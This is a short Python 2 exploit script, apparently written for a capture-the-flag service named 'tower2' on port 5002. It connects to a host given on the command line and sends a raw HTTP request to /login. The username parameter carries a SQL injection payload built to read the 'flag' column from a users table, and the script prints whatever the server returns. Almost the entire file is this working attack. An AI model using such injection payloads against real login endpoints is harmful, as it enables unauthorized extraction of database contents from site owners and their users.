import socket
from struct import pack,unpack
from ctypes import c_int32
import telnetlib
import time,random
import sys,re,os
from hashlib import sha1
import subprocess

USER = 'tower2'
BINARY = 'tower2.py'
BINARY_PATH =  "/home/tower2/tower2.py"
HOST = sys.argv[1]
PORT = 5002

LOCAL = (HOST,PORT)
BUFFER = 4096

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.settimeout(5.0)

try:
    s.connect(LOCAL)
    def recv_until(str,debug=0):
        recv_ = ''
        while not str in recv_:
            tmp = s.recv(BUFFER)
            recv_ += tmp
            if debug:
                print tmp
            continue
        return recv_

    payload = "GET /login?username=abc'!=1,1`flag`from`users`;--a&password=guest HTTP/1.1\r\nHost: localhost\r\n\r\n"
    s.send(payload)

    data = recv_until('</div>')

    print data
    s.close()

    # t = telnetlib.Telnet()
    # t.sock = s
    # t.interact()
except:
    print 'Failed: timeout',sys.exc_info()[1]
    sys.exit(-1)
